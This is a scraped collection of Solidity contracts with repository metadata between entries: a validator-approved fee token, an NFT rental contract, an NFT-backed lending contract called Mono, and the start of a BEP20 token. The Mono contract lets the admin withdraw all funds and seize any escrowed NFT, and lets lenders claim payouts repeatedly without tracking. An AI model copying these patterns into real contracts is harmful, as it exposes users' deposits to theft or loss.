require(whiteListingContract.isInvestorApproved(_account));
_;
}
modifier checkIsAddressValid(address _account) {
require(_account != address(0));
_;
}
modifier checkIsValueValid(uint256 _value) {
require(_value > 0);
_;
}
event TransferRejected(address indexed from,
address indexed to,
uint256 value,
uint256 indexed nonce,
uint256 reason);
event TransferWithFee(address indexed from,
address indexed to,
uint256 value,
uint256 fee);
event RecordedPendingTransaction(address indexed from,
address indexed to,
uint256 value,
uint256 fee,
address indexed spender);
event WhiteListingContractSet(address indexed _whiteListingContract);
event FeeSet(uint256 indexed previousFee, uint256 indexed newFee);
event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient);
constructor(address _owner,
string _name,
string _symbol,
uint8 _decimals,
address whitelistAddress,
address recipient,
uint256 fee)
public
MintableToken(_owner)
DetailedERC20(_name, _symbol, _decimals)
Validator()
{
setWhitelistContract(whitelistAddress);
setFeeRecipient(recipient);
setFee(fee);
}
function setWhitelistContract(address whitelistAddress)
public
onlyValidator
checkIsAddressValid(whitelistAddress)
{
whiteListingContract = Whitelist(whitelistAddress);
emit WhiteListingContractSet(whiteListingContract);
}
function setFee(uint256 fee)
public
onlyValidator
{
emit FeeSet(transferFee, fee);
transferFee = fee;
}
function setFeeRecipient(address recipient)
public
onlyValidator
checkIsAddressValid(recipient)
{
emit FeeRecipientSet(feeRecipient, recipient);
feeRecipient = recipient;
}
function updateName(string _name) public onlyOwner {
require(bytes(_name).length != 0);
name = _name;
}
function updateSymbol(string _symbol) public onlyOwner {
require(bytes(_symbol).length != 0);
symbol = _symbol;
}
function transfer(address _to, uint256 _value)
public
checkIsInvestorApproved(msg.sender)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)];
if (msg.sender == feeRecipient) {
require(_value.add(pendingAmount) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(msg.sender,
_to,
_value,
transferFee,
address(0));
emit RecordedPendingTransaction(msg.sender, _to, _value, transferFee, address(0));
currentNonce++;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
checkIsInvestorApproved(_from)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 allowedTransferAmount = allowed[_from][msg.sender];
uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender];
if (_from == feeRecipient) {
require(_value.add(pendingAmount) <= balances[_from]);
require(_value.add(pendingAmount) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[_from]);
require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(_from,
_to,
_value,
transferFee,
msg.sender);
emit RecordedPendingTransaction(_from, _to, _value, transferFee, msg.sender);
currentNonce++;
return true;
}
function approveTransfer(uint256 nonce)
external
onlyValidator
checkIsInvestorApproved(pendingTransactions[nonce].from)
checkIsInvestorApproved(pendingTransactions[nonce].to)
checkIsValueValid(pendingTransactions[nonce].value)
returns (bool)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
address to = pendingTransactions[nonce].to;
uint256 value = pendingTransactions[nonce].value;
uint256 allowedTransferAmount = allowed[from][spender];
uint256 pendingAmount = pendingApprovalAmount[from][spender];
uint256 fee = pendingTransactions[nonce].fee;
uint256 balanceFrom = balances[from];
uint256 balanceTo = balances[to];
delete pendingTransactions[nonce];
if (from == feeRecipient) {
fee = 0;
balanceFrom = balanceFrom.sub(value);
balanceTo = balanceTo.add(value);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value);
}
pendingAmount = pendingAmount.sub(value);
} else {
balanceFrom = balanceFrom.sub(value.add(fee));
balanceTo = balanceTo.add(value);
balances[feeRecipient] = balances[feeRecipient].add(fee);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value).sub(fee);
}
pendingAmount = pendingAmount.sub(value).sub(fee);
}
emit TransferWithFee(from,
to,
value,
fee);
emit Transfer(from,
to,
value);
balances[from] = balanceFrom;
balances[to] = balanceTo;
allowed[from][spender] = allowedTransferAmount;
pendingApprovalAmount[from][spender] = pendingAmount;
return true;
}
function rejectTransfer(uint256 nonce, uint256 reason)
external
onlyValidator
checkIsAddressValid(pendingTransactions[nonce].from)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
if (from == feeRecipient) {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value);
} else {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value).sub(pendingTransactions[nonce].fee);
}
emit TransferRejected(from,
pendingTransactions[nonce].to,
pendingTransactions[nonce].value,
nonce,
reason);
delete pendingTransactions[nonce];
}
}
| 220,387 | 10,527 |
15651f9ce776d2618a2d51e87ee291bd35992c61e702f10cc4a316878a303059
| 13,488 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5e/5e02738990c287601c0c95f17c37f42de9484347_Rental.sol
| 2,778 | 10,342 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function metadata(uint256 tokenId) external view returns (address creator);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC4907 {
// Logged when the user of a NFT is changed or expires is changed
/// @notice Emitted when the `user` of an NFT or the `expires` of the `user` is changed
/// The zero address for user indicates that there is no user address
event UpdateUser(uint256 indexed tokenId, address indexed user, uint64 expires);
/// @notice set the user and expires of a NFT
/// @dev The zero address indicates there is no user
/// Throws if `tokenId` is not valid NFT
/// @param user The new user of the NFT
/// @param expires UNIX timestamp, The new user could use the NFT before expires
function setUser(uint256 tokenId, address user, uint64 expires) external;
/// @notice Get the user address of an NFT
/// @dev The zero address indicates that there is no user or the user is expired
/// @param tokenId The NFT to get the user address for
/// @return The user address for this NFT
function userOf(uint256 tokenId) external view returns(address);
/// @notice Get the user expires of an NFT
/// @dev The zero value indicates that there is no user
/// @param tokenId The NFT to get the user expires for
/// @return The user expires for this NFT
function userExpires(uint256 tokenId) external view returns(uint256);
}
contract Withdrawable is Ownable {
string internal constant REVERT_TRANSFER_FAILED = "Withdrawable: AVAX_TRANSFER_FAILED";
function withdrawToken(address _token, uint256 _amount) external onlyOwner {
address account = _msgSender();
if (_token == address(0)) {
(bool success,) = account.call{value: _amount}(new bytes(0));
require(success, REVERT_TRANSFER_FAILED);
} else {
IERC20(_token).transfer(account, _amount);
}
}
}
contract Rental is Withdrawable {
event SetListRental(uint256 orderId, address game, uint256 tokenId, address owner, address paymentToken, uint256 price, uint256 period);
event Rent(address account, uint256 orderId);
event ResetPrice(uint256 orderId);
using SafeMath for uint256;
string private constant REVERT_NOT_A_OWNER_NFTS = "Rental: caller is not the owner of NFTs";
string private constant REVERT_NOT_A_MAKER = "Rental: caller is not a maker";
string private constant REVERT_ALREADY_RENTING = "Rental: already renting";
string private constant REVERT_APPROVE_NFTS = "Rental: owner is not approve this NFT";
string private constant REVERT_INVALID_PERIOD = "Rental: Invalid renting period";
string private constant REVERT_INVALID_RENTING_NFT = "Rental: NFT has been rented by other user!";
string private constant REVERT_INVALID_ADDRESS = "Rental: Can not be address 0";
string private constant REVERT_INSUFFICIENT_BALANCE = "Rental: Insufficient balance";
struct RentalInfo {
address nftAddress;
uint256 nftId;
address owner;
address renter;
address paymentToken;
uint256 price;
uint256 period;
uint64 endTime;
}
mapping(uint256 => RentalInfo) private _rentalInfo;
constructor() {}
modifier onlyMaker(uint256 orderId) {
require(_msgSender() == _rentalInfo[orderId].owner, REVERT_NOT_A_MAKER);
_;
}
modifier isOwnerOf(address nftAddress, uint256 tokenId) {
require(_isOwnerOf(nftAddress, tokenId), REVERT_NOT_A_OWNER_NFTS);
_;
}
modifier isValidAddress(address addr) {
require(addr != address(0), REVERT_INVALID_ADDRESS);
_;
}
modifier isNotRenting(uint256 orderId) {
require(_rentalInfo[orderId].renter == address(0), REVERT_ALREADY_RENTING);
_;
}
modifier isValidRentingNFT(address nftAddress, uint256 tokenId) {
require(IERC4907(nftAddress).userExpires(tokenId) < block.timestamp, REVERT_INVALID_RENTING_NFT);
_;
}
modifier isValidPeriod(uint256 period) {
require(period > 0, REVERT_INVALID_PERIOD);
_;
}
function _isOwnerOf(address nftAdress, uint256 tokenId) private view returns (bool) {
return (IERC721(nftAdress).ownerOf(tokenId) == _msgSender());
}
function getRentalInfo(uint256 orderId) external view returns(RentalInfo memory) {
return _rentalInfo[orderId];
}
function rent(uint256 orderId) external isNotRenting(orderId) {
address account = _msgSender();
RentalInfo storage rental = _rentalInfo[orderId];
require(rental.period > 0, REVERT_INVALID_PERIOD);
require(IERC20(rental.paymentToken).transferFrom(account, rental.owner, rental.price),REVERT_INSUFFICIENT_BALANCE);
uint64 endTime = uint64(block.timestamp + rental.period);
rental.renter = account;
rental.endTime = endTime;
IERC4907(rental.nftAddress).setUser(rental.nftId, account, endTime);
emit Rent(account, orderId);
}
function _setListRental(uint256 orderId,
address nftAddress,
uint256 tokenId,
address paymentToken,
uint256 price,
uint256 period) private {
require(_rentalInfo[orderId].owner == address(0) || _rentalInfo[orderId].owner == _msgSender(), REVERT_NOT_A_OWNER_NFTS);
require(_rentalInfo[orderId].renter == address(0) , REVERT_ALREADY_RENTING);
_rentalInfo[orderId] = RentalInfo(nftAddress, tokenId, _msgSender(), address(0), paymentToken, price, period, 0);
emit SetListRental(orderId, nftAddress, tokenId, _msgSender(), paymentToken, price, period);
}
function listRental(uint256 orderId,
address nftAddress,
uint256 tokenId,
address paymentToken,
uint256 price,
uint256 period) external isOwnerOf(nftAddress, tokenId) isValidRentingNFT(nftAddress, tokenId) isValidPeriod(period) isValidAddress(paymentToken) {
require(IERC721(nftAddress).isApprovedForAll(_msgSender(), address(this)), REVERT_APPROVE_NFTS);
_setListRental(orderId, nftAddress, tokenId, paymentToken, price, period);
}
function _resetRental(uint256 orderId) private {
RentalInfo storage rental = _rentalInfo[orderId];
rental.nftAddress = address(0);
rental.nftId = 0;
rental.paymentToken = address(0);
rental.price = 0;
emit ResetPrice(orderId);
}
function removeRental(uint256 orderId) external onlyMaker(orderId) isNotRenting(orderId) {
_resetRental(orderId);
}
}
| 111,190 | 10,528 |
0bda44286ae758eee31911bed3dd8edb4ad2725c0b537c8800ace0865c9c96d3
| 24,877 |
.sol
|
Solidity
| false |
455985133
|
monopayments/mono-custodian-dao
|
4bb1e9e75674599e2553617a53249546fac98b06
|
Mono.sol
| 5,539 | 20,663 |
// SPDX-License-Identifier: AGPL-3.0-only
// MonoPayments Custodian DAO Contract
// Version: 0.0.1
// Author: @monopayments
pragma solidity >=0.8.0 <0.9.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
//rounds to zero if x*y < WAD / 2
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
//rounds to zero if x*y < WAD / 2
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
//rounds to zero if x*y < WAD / 2
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//rounds to zero if x*y < RAY / 2
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
contract Mono is DSMath,ReentrancyGuard{
using Counters for Counters.Counter;
Counters.Counter public _itemIds;
Counters.Counter public _itemsSold;
uint256 public userID = 1;
uint256 listingPrice = 0.025 ether;
struct Admin {
address AdminAddress;
}
struct WhiteListContract {
address contractAddress;
uint256 maxPayedAmount;
bool isUsable;
}
struct Person {
address name;
bool Payed;
uint256 payedAmount;
uint256 lenderReturnPayment;
bool isVip;
uint item;
}
struct MarketItem {
uint itemId;
address nftContract;
uint256 tokenId;
address payable seller;
address payable owner;
uint256 price;
bool sold;
bool isArtistPayed;
uint countResultTrue;
uint256 nftDeadline;
bool installmentPayedOption;
uint256 lendersProfit;
uint256 monosProfit;
uint256 payedCost;
}
mapping(uint256 => MarketItem) public idToMarketItem;//make private
mapping(uint => Person) public registeredPersonNumber;
mapping(address => Admin) public registeredAdmin;
mapping(address => WhiteListContract) public whiteListForNft;
mapping(uint => Person) public whiteListForUser;
event Sent(address from, address to, uint256 amount);
event NewProfit(uint256 from, uint256 to);
event MarketItemCreated (uint indexed itemId,address indexed nftContract,uint256 indexed tokenId,address seller,address owner,uint256 price,bool sold);
address payable owner;
address payable public admin = payable(address(0x2Ee1CB29722ba8fB8F58F802e63c62c105F0b154));
modifier onlyAdmin() {
require(msg.sender == admin || registeredAdmin[msg.sender].AdminAddress != address(0) ,"Only Admin");
_;
}
modifier notInstallmentDeadline(uint _itemId) {
if(block.timestamp<=idToMarketItem[_itemId].nftDeadline){
_;
}else{
MarketItem memory _marketItem = idToMarketItem[_itemId];
_marketItem.price = _marketItem.price + 0.1 ether;
_marketItem.nftDeadline = block.timestamp+2592000 seconds;//added 30 days
idToMarketItem[_itemId] = _marketItem;
}
}
constructor(){
owner=payable(msg.sender);
}
function showOwner()public view returns(address){
return address(this);
}
function sendNFTtoMono(address nftContract,uint256 tokenId,uint256 expectedPrice,uint256 endDate,uint256 _lendersProfit) public payable nonReentrant {
require(expectedPrice > 0, "Price must be at least 1 wei");
require(endDate < 90, "Deadine should be less than 90 days ");
//30 day 2628000 seconds 2592000
//1 day 86400 seconds
uint256 deadline = block.timestamp + (endDate * 86400 seconds);
require(msg.value == listingPrice, "Price must be equal to listing price");
_itemIds.increment();
uint256 itemId = _itemIds.current();
idToMarketItem[itemId] = MarketItem(itemId,
nftContract,
tokenId,
payable(msg.sender),//sender
payable(address(this)),//mono
expectedPrice,
false,
false,
0,
deadline,
false,
_lendersProfit,
0,
0);
IERC721(nftContract).transferFrom(msg.sender, address(this), tokenId);
emit MarketItemCreated(itemId,
nftContract,
tokenId,
msg.sender,//sender
address(this),//mono
expectedPrice,
false);
}
function sendNFTtoMonoWithInstallment(address nftContract,uint256 tokenId,uint256 expectedPrice,uint256 endDate,uint256 _lendersProfit) public payable nonReentrant {
require(expectedPrice > 0, "Price must be at least 1 wei");
require(endDate == 30, "Deadine should be less than 30 days "); //change again
//30 day 2628000 seconds 2592000
//1 day 86400 seconds
//uint256 deadline = block.timestamp + (endDate * 86400 seconds);
uint256 deadline = block.timestamp + (endDate * 864 seconds);
_itemIds.increment();
uint256 itemId = _itemIds.current();
require(msg.value == listingPrice, "Price must be equal to listing price");
idToMarketItem[itemId] = MarketItem(itemId,
nftContract,
tokenId,
payable(msg.sender),//sender
payable(address(this)),//mono
expectedPrice,
false,
false,
0,
deadline,
true,
_lendersProfit,
0,
0);
IERC721(nftContract).transferFrom(msg.sender, address(this), tokenId);
emit MarketItemCreated(itemId,
nftContract,
tokenId,
msg.sender,//sender
address(this),//mono
expectedPrice,
false);
}
function transferNftToArtist(address nftContract,uint256 _itemId) public nonReentrant {
require(idToMarketItem[_itemId].seller == msg.sender,"Only NFT Artist can add private person");
require(idToMarketItem[_itemId].countResultTrue >= 2,"Make Consensus proof");
uint tokenId = idToMarketItem[_itemId].tokenId;
MarketItem memory _marketItem = idToMarketItem[_itemId];
IERC721(nftContract).transferFrom(address(this), msg.sender, tokenId);
_marketItem.owner = payable(msg.sender);
_marketItem.sold = true;
idToMarketItem[_itemId] = _marketItem;
_itemsSold.increment();
}
function transferNftToArtistWithInstallemnt(address nftContract,uint256 _itemId) public nonReentrant {
require(idToMarketItem[_itemId].installmentPayedOption == true,"Installment option only");
require(idToMarketItem[_itemId].seller == msg.sender,"Only NFT Artist can add private person");
require(idToMarketItem[_itemId].price == 0,"Pay your installment amount");
require(idToMarketItem[_itemId].countResultTrue >= 2,"Make Consensus proof");
uint tokenId = idToMarketItem[_itemId].tokenId;
MarketItem memory _marketItem = idToMarketItem[_itemId];
IERC721(nftContract).transferFrom(address(this), msg.sender, tokenId);
_marketItem.owner = payable(msg.sender);
_marketItem.sold = true;
idToMarketItem[_itemId] = _marketItem;
_itemsSold.increment();
}
function sendToMonoForNFT(uint _itemId) external payable{
require(idToMarketItem[_itemId].itemId>0,"This nft not in our process");
require(idToMarketItem[_itemId].sold == false,"This nft not in our process");
require(idToMarketItem[_itemId].nftDeadline >= block.timestamp,"Deadline bro");
require(msg.value != 0,"Amount can not be 0");
MarketItem memory _marketItem = idToMarketItem[_itemId];
Person memory _person = registeredPersonNumber[userID];
_person.name = msg.sender;
_person.Payed = true;
_person.isVip = false;
_person.payedAmount += msg.value;
_person.item=_itemId;
_marketItem.payedCost+=msg.value;
registeredPersonNumber[userID] = _person;
idToMarketItem[_itemId] = _marketItem;
userID++;
emit Sent(msg.sender, payable(owner),msg.value);
}
// ****** Installment****
function installmentMono(uint _itemId) payable external notInstallmentDeadline(_itemId){
require(idToMarketItem[_itemId].itemId>0,"This nft not in our process.");
require(idToMarketItem[_itemId].installmentPayedOption == true,"Installment option only");
uint256 amount = msg.value;
require(amount > 0, "Please enter your installment amount for one correctly");
MarketItem memory _marketItem = idToMarketItem[_itemId];
//payable(owner).transfer(amount);
_marketItem.price -= amount;
_marketItem. nftDeadline = block.timestamp+2592000 seconds;//added 30 days
//_marketItem. nftDeadline = block.timestamp+100 seconds;//added 30 days
idToMarketItem[_itemId] = _marketItem;
}
function fetchMarketItems() public view returns (MarketItem[] memory) {
uint itemCount = _itemIds.current();
uint unsoldItemCount = _itemIds.current() - _itemsSold.current();
uint currentIndex = 0;
MarketItem[] memory items = new MarketItem[](unsoldItemCount);
for (uint i = 0; i < itemCount; i++) {
if (idToMarketItem[i + 1].owner == address(0)) {
uint currentId = i + 1;
MarketItem storage currentItem = idToMarketItem[currentId];
items[currentIndex] = currentItem;
currentIndex += 1;
}
}
return items;
}
function payBackForNFT(uint256 _itemId) payable public {
require(idToMarketItem[_itemId].itemId>0,"This nft not in our process");
uint256 expectedPrice =idToMarketItem[_itemId].monosProfit;
require(idToMarketItem[_itemId].seller == msg.sender,"You are not the owner");
require(expectedPrice== msg.value,"not correct amount");
require(block.timestamp <= idToMarketItem[_itemId].nftDeadline,"Deadline bro");
MarketItem memory _marketItem = idToMarketItem[_itemId];
_marketItem.isArtistPayed = true;
idToMarketItem[_itemId] = _marketItem;
}
function setlendersProfit(uint256 x,uint _itemId) external {
require(idToMarketItem[_itemId].seller == msg.sender,"Only NFT Artist can add private person");
require(idToMarketItem[_itemId].itemId>0,"This nft not in our process.");
require(idToMarketItem[_itemId].sold==false,"This nft sold out.");
uint256 oldProfit = idToMarketItem[_itemId].lendersProfit;
idToMarketItem[_itemId].lendersProfit = x ;
emit NewProfit(oldProfit,idToMarketItem[_itemId].lendersProfit);
}
function setMonosProfit(uint256 _profit,uint _itemId) public onlyAdmin {
require(idToMarketItem[_itemId].itemId>0,"This nft not in our process.");
require(idToMarketItem[_itemId].sold==false,"This nft sold out.");
idToMarketItem[_itemId].monosProfit = _profit ;
}
function getlendersProfit(uint _itemId) public view returns (uint256) {
return idToMarketItem[_itemId].lendersProfit;
}
function getDeadline(uint _itemId) public view returns (uint256) {
require(idToMarketItem[_itemId].itemId>0,"This nft not in our process.");
require(idToMarketItem[_itemId].sold==false,"This nft sold out.");
return idToMarketItem[_itemId].nftDeadline;
}
function getCurrentItem() public view returns (uint256) {
return _itemIds.current();
}
function fetchUserItems() public view returns (Person[] memory) {
uint currentIndex = 0;
Person[] memory users = new Person[](userID);
for (uint i = 0; i < userID; i++) {
if (registeredPersonNumber[i + 1].name == msg.sender) {
uint currentId = i + 1;
Person storage currentItem = registeredPersonNumber[currentId];
users[currentIndex] = currentItem;
currentIndex += 1;
}
}
return users;
}
//****** THINK AGAIN FOR VIP's ****************************
function addWhiteListUser(uint _itemId,address _name) external returns(uint256) {
require(idToMarketItem[_itemId].itemId > 0,"This NFT not in our process");
require(idToMarketItem[_itemId].seller == msg.sender,"Only NFT Artist can add private person");
Person memory _person = whiteListForUser[userID];
//MarketItem memory _marketItem = idToMarketItem[_itemId];
_person.name = _name;
_person.Payed = false;
_person.isVip = true;
_person.item= _itemId;
whiteListForUser[userID] = _person;
userID++;
return userID;
}
function makeConsensius(uint _itemId,bool _choise) public onlyAdmin returns(bool result){
bool voted = false;
if(registeredAdmin[msg.sender].AdminAddress != address(0)){
if(_choise==true){
idToMarketItem[_itemId].countResultTrue++;
voted=true;
}
else{
idToMarketItem[_itemId].countResultTrue--;
}
}
return voted;
}
function addAdmin(address _newAdmin) public onlyAdmin {
require(_newAdmin != address(0),"add address dam it!");
Admin memory _admin = registeredAdmin[_newAdmin];
_admin.AdminAddress = _newAdmin;
registeredAdmin[_newAdmin] = _admin;
}
function addContractWhitelist(address _newContract,uint _maxPayedAmount,bool _isUsable) public onlyAdmin {
WhiteListContract memory _contract = whiteListForNft[_newContract];
_contract.contractAddress = _newContract;
_contract.maxPayedAmount=_maxPayedAmount;
_contract.isUsable = _isUsable;
whiteListForNft[_newContract] = _contract;
}
function showMyTotalProfit(uint _itemId) public view returns(uint256){
require(idToMarketItem[_itemId].itemId>0,"This nft not in our process.");
uint currentIndex = 0;
uint256 myTotalProfit = 0 ether;
uint256 myProfit = 0 ether;
uint256 myAmount = 0 ether;
uint256 myPay = 0 ether;
//Person[] memory users = new Person[](userID);
for (uint i = 0; i < userID; i++) {
if (registeredPersonNumber[i + 1].name == msg.sender && registeredPersonNumber[i + 1].item == _itemId) {
uint currentId = i + 1;
uint256 currentItem = registeredPersonNumber[currentId].payedAmount;
myAmount+= currentItem;
currentIndex += 1;
}
}
myPay = wdiv(myAmount,idToMarketItem[_itemId].payedCost);
myProfit = wmul(myPay,idToMarketItem[_itemId].lendersProfit);
myTotalProfit = add(myAmount,myProfit);
return myTotalProfit;
}
function openToBuy(address _nftContract,uint256 _tokenId,uint _itemId) payable external{
require(idToMarketItem[_itemId].sold == false, "This item is soled");
require(idToMarketItem[_itemId].isArtistPayed == false, "User payed back!");
require(idToMarketItem[_itemId].itemId>0,"This nft not in our process");
uint256 expectedPriceForMono =idToMarketItem[_itemId].monosProfit;
uint256 expectedPriceForSeller =idToMarketItem[_itemId].price;
require(expectedPriceForMono + expectedPriceForSeller == msg.value,"not correct amount");
MarketItem memory _marketItem = idToMarketItem[_itemId];
_marketItem.owner = payable(address(msg.sender));
_marketItem.sold = true;
idToMarketItem[_itemId] = _marketItem;
payable(idToMarketItem[_itemId].seller).transfer(expectedPriceForSeller);
IERC721(_nftContract).transferFrom(address(this), msg.sender, _tokenId);
}
function withdraw() public nonReentrant {
require(msg.sender == admin,"only admin");
payable(msg.sender).transfer(payable(address(this)).balance);
}
function transferNFTtoAdmin(address _nftContract,uint256 _tokenId,uint256 _itemId) public {
require(msg.sender == admin,"only admin");
idToMarketItem[_itemId].owner = admin;
IERC721(_nftContract).transferFrom(address(this), msg.sender, _tokenId);
}
function shareWithLenders(uint256 _itemId) public payable{
require(idToMarketItem[_itemId].itemId > 0,"This nft not in our process.");
require(idToMarketItem[_itemId].sold == true,"This nft not sold");
uint currentIndex = 0;
uint256 myTotalProfit = 0 ether;
uint256 myProfit = 0 ether;
uint256 myAmount = 0 ether;
uint256 myPay = 0 ether;
//Person[] memory users = new Person[](userID);
for (uint i = 0; i < userID; i++) {
if (registeredPersonNumber[i + 1].name == msg.sender && registeredPersonNumber[i + 1].item == _itemId) {
uint currentId = i + 1;
uint256 currentItem = registeredPersonNumber[currentId].payedAmount;
myAmount+= currentItem;
currentIndex += 1;
}
}
myPay = wdiv(myAmount,idToMarketItem[_itemId].payedCost);
myProfit = wmul(myPay,idToMarketItem[_itemId].lendersProfit);
myTotalProfit = add(myAmount,myProfit);
payable(msg.sender).transfer(myTotalProfit);
}
function sendEtherToContract() payable public {
// nothing else to do!
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
}
| 238,647 | 10,529 |
68558a30cea00ea800765c1b9fe263371439e1481c0e1826a2c95b99af956458
| 23,271 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/c6/C6eF0888d47B855095b77bdd3EF1aD5A2E3cee91_BEP20Token.sol
| 3,811 | 13,284 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
